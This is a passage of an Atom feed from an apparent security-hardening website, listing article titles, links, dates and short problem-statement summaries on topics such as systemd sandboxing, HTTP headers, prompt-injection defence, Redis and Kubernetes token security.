    <link href="https://www.systemshardening.com/articles/linux/systemd-unit-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/systemd-unit-hardening/</id>
    <published>2026-01-17T00:00:00.000Z</published>
    <updated>2026-01-17T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>systemd Unit Hardening: ProtectSystem, PrivateTmp, and the Full Sandbox Toolkit
Problem
systemd provides over 30 security-relevant directives for sandboxing services, yet the vast majority of unit...</summary>
  </entry>
  
  <entry>
    <title>HTTP Security Headers in Production: CSP, HSTS, and Permissions-Policy Without Breaking Your App</title>
    <link href="https://www.systemshardening.com/articles/network/http-security-headers/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/http-security-headers/</id>
    <published>2026-01-17T00:00:00.000Z</published>
    <updated>2026-01-17T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>HTTP Security Headers in Production: CSP, HSTS, and Permissions-Policy Without Breaking Your App
Problem
Security headers are free, server-side controls that instruct browsers to restrict dangerous...</summary>
  </entry>
  
  <entry>
    <title>Hardening WebSocket Connections: Authentication, Rate Limiting, and Origin Validation</title>
    <link href="https://www.systemshardening.com/articles/network/websocket-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/websocket-hardening/</id>
    <published>2026-01-16T00:00:00.000Z</published>
    <updated>2026-01-16T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>Hardening WebSocket Connections: Authentication, Rate Limiting, and Origin Validation
Problem
WebSocket connections start as an HTTP upgrade request and then persist as a long-lived, full-duplex...</summary>
  </entry>
  
  <entry>
    <title>Centralized Logging Architecture for Security: Fluentd, Vector, and Loki Compared</title>
    <link href="https://www.systemshardening.com/articles/observability/centralized-logging/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/centralized-logging/</id>
    <published>2026-01-16T00:00:00.000Z</published>
    <updated>2026-01-16T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Centralized Logging Architecture for Security: Fluentd, Vector, and Loki Compared
Problem
Self-managed log infrastructure is one of the highest operational costs for small-to-medium teams. The choice...</summary>
  </entry>
  
  <entry>
    <title>Securing Model Artifact Pipelines: From Training to Serving</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/model-artifact-pipelines/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/model-artifact-pipelines/</id>
    <published>2026-01-15T00:00:00.000Z</published>
    <updated>2026-01-15T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Securing Model Artifact Pipelines: From Training to Serving
Problem
Model files are opaque binaries ranging from 1GB to over 1TB. You cannot code-review a set of weights. An attacker who tampers with...</summary>
  </entry>
  
  <entry>
    <title>Building a Security Audit Log Pipeline That Scales: auditd to Elasticsearch</title>
    <link href="https://www.systemshardening.com/articles/observability/audit-log-pipeline/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/observability/audit-log-pipeline/</id>
    <published>2026-01-13T00:00:00.000Z</published>
    <updated>2026-01-13T00:00:00.000Z</updated>
    <category term="observability"/>
    <summary>Building a Security Audit Log Pipeline That Scales: auditd to Elasticsearch
Problem
Linux audit logs are the ground truth for security investigation. auditd captures kernel-level events that no...</summary>
  </entry>
  
  <entry>
    <title>AI Incident Reporting: Detection, Classification, and Response Procedures for AI System Failures</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/ai-incident-reporting/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/ai-incident-reporting/</id>
    <published>2026-01-12T00:00:00.000Z</published>
    <updated>2026-01-12T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>AI Incident Reporting: Detection, Classification, and Response Procedures for AI System Failures
Problem
Traditional incident response assumes failures are binary: the service is up or it is down, the...</summary>
  </entry>
  
  <entry>
    <title>Claude for Security Incident Triage: Rapid Analysis of Logs, Alerts, and Blast Radius</title>
    <link href="https://www.systemshardening.com/articles/ai-landscape/claude-incident-triage/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/ai-landscape/claude-incident-triage/</id>
    <published>2026-01-12T00:00:00.000Z</published>
    <updated>2026-01-12T00:00:00.000Z</updated>
    <category term="ai-landscape"/>
    <summary>Claude for Security Incident Triage: Rapid Analysis of Logs, Alerts, and Blast Radius
Problem
When a security alert fires at 2 AM, the on-call engineer faces an information overload problem. The alert...</summary>
  </entry>
  
  <entry>
    <title>Security Hardening for Small Teams: Prioritising Controls When You Cannot Do Everything</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/hardening-small-teams/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/hardening-small-teams/</id>
    <published>2026-01-12T00:00:00.000Z</published>
    <updated>2026-01-12T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Security Hardening for Small Teams: Prioritising Controls When You Cannot Do Everything
Problem
A team of 1-5 engineers cannot implement 100 hardening controls simultaneously. Most hardening guides...</summary>
  </entry>
  
  <entry>
    <title>RLHF Data Protection: Securing Human Feedback Loops, Preference Data, and Reward Models</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/rlhf-data-protection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/rlhf-data-protection/</id>
    <published>2026-01-12T00:00:00.000Z</published>
    <updated>2026-01-12T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>RLHF Data Protection: Securing Human Feedback Loops, Preference Data, and Reward Models
Problem
Reinforcement Learning from Human Feedback (RLHF) pipelines introduce unique security surfaces that...</summary>
  </entry>
  
  <entry>
    <title>SLSA Provenance for Container Images: From Build to Admission Control</title>
    <link href="https://www.systemshardening.com/articles/cicd/slsa-provenance/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cicd/slsa-provenance/</id>
    <published>2026-01-11T00:00:00.000Z</published>
    <updated>2026-01-11T00:00:00.000Z</updated>
    <category term="cicd"/>
    <summary>SLSA Provenance for Container Images: From Build to Admission Control
Problem
Without provenance, you cannot prove where a container image came from, what source code it was built from, or whether the...</summary>
  </entry>
  
  <entry>
    <title>AI API Key Management: Rotation, Scoping, and Abuse Detection</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-api-key-management/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-api-key-management/</id>
    <published>2026-01-11T00:00:00.000Z</published>
    <updated>2026-01-11T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>AI API Key Management: Rotation, Scoping, and Abuse Detection
Problem
AI services have turned API keys into direct spending controls. A leaked OpenAI or Anthropic key can generate thousands of dollars...</summary>
  </entry>
  
  <entry>
    <title>Prompt Injection Defence in Production: Input Validation, Output Filtering, and Monitoring</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/prompt-injection/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/prompt-injection/</id>
    <published>2026-01-11T00:00:00.000Z</published>
    <updated>2026-01-11T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Prompt Injection Defence in Production: Input Validation, Output Filtering, and Monitoring
Problem
Prompt injection is the SQL injection of AI systems, the most common and most damaging attack class...</summary>
  </entry>
  
  <entry>
    <title>Filesystem Mount Options That Matter: noexec, nosuid, nodev, and Beyond</title>
    <link href="https://www.systemshardening.com/articles/linux/filesystem-mount-options/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/linux/filesystem-mount-options/</id>
    <published>2026-01-08T00:00:00.000Z</published>
    <updated>2026-01-08T00:00:00.000Z</updated>
    <category term="linux"/>
    <summary>Filesystem Mount Options That Matter: noexec, nosuid, nodev, and Beyond
Problem
Default Linux installations mount most filesystems with permissive options. On a stock Ubuntu 24.04 or RHEL 9...</summary>
  </entry>
  
  <entry>
    <title>gRPC Security in Production: TLS, Authentication, and Interceptor-Based Access Control</title>
    <link href="https://www.systemshardening.com/articles/network/grpc-security/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/network/grpc-security/</id>
    <published>2026-01-08T00:00:00.000Z</published>
    <updated>2026-01-08T00:00:00.000Z</updated>
    <category term="network"/>
    <summary>gRPC Security in Production: TLS, Authentication, and Interceptor-Based Access Control
Problem
gRPC services in production frequently run with security configurations that would never be acceptable...</summary>
  </entry>
  
  <entry>
    <title>Network Segmentation for AI Training Infrastructure</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/ai-training-network-segmentation/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/ai-training-network-segmentation/</id>
    <published>2026-01-07T00:00:00.000Z</published>
    <updated>2026-01-07T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Network Segmentation for AI Training Infrastructure
Problem
AI training clusters frequently share networks with production services. A training job that can reach the production database is one...</summary>
  </entry>
  
  <entry>
    <title>Migrating from Self-Managed Kubernetes to a Managed Provider Without Losing Your Security Posture</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/migrate-to-managed-k8s/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/migrate-to-managed-k8s/</id>
    <published>2026-01-06T00:00:00.000Z</published>
    <updated>2026-01-06T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Migrating from Self-Managed Kubernetes to a Managed Provider Without Losing Your Security Posture
Problem
Self-managed Kubernetes clusters (kubeadm, k3s, kops) consume 8-16 hours per month of...</summary>
  </entry>
  
  <entry>
    <title>Observability for LLM Applications: Token Usage, Latency Anomalies, and Output Classification</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/llm-observability/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/llm-observability/</id>
    <published>2026-01-05T00:00:00.000Z</published>
    <updated>2026-01-05T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Observability for LLM Applications: Token Usage, Latency Anomalies, and Output Classification
Problem
LLM-powered applications have unique observability requirements that standard APM tools do not...</summary>
  </entry>
  
  <entry>
    <title>Model Registry Access Control: Versioning, Signing, and Promotion Gates</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/model-registry-access-control/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/model-registry-access-control/</id>
    <published>2026-01-03T00:00:00.000Z</published>
    <updated>2026-01-03T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Model Registry Access Control: Versioning, Signing, and Promotion Gates
Problem
Model registries are the bridge between training and production. A model pushed to the production registry gets served...</summary>
  </entry>
  
  <entry>
    <title>Hardening Redis in Production: Authentication, TLS, ACLs, and Command Restriction</title>
    <link href="https://www.systemshardening.com/articles/cross-cutting/redis-hardening/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/cross-cutting/redis-hardening/</id>
    <published>2026-01-01T00:00:00.000Z</published>
    <updated>2026-01-01T00:00:00.000Z</updated>
    <category term="cross-cutting"/>
    <summary>Hardening Redis in Production: Authentication, TLS, ACLs, and Command Restriction
Problem
Redis defaults prioritise developer convenience: no authentication, no TLS, all 200+ commands available, and...</summary>
  </entry>
  
  <entry>
    <title>Kubernetes Service Account Token Security: Bound Tokens, Projected Volumes, and OIDC</title>
    <link href="https://www.systemshardening.com/articles/kubernetes/service-account-tokens/" rel="alternate" type="text/html"/>
    <id>https://www.systemshardening.com/articles/kubernetes/service-account-tokens/</id>
    <published>2026-01-01T00:00:00.000Z</published>
    <updated>2026-01-01T00:00:00.000Z</updated>
    <category term="kubernetes"/>
    <summary>Kubernetes Service Account Token Security: Bound Tokens, Projected Volumes, and OIDC
Problem
Every pod in Kubernetes receives a service account token by default. In clusters running older...</summary>
  </entry>
  
</feed>
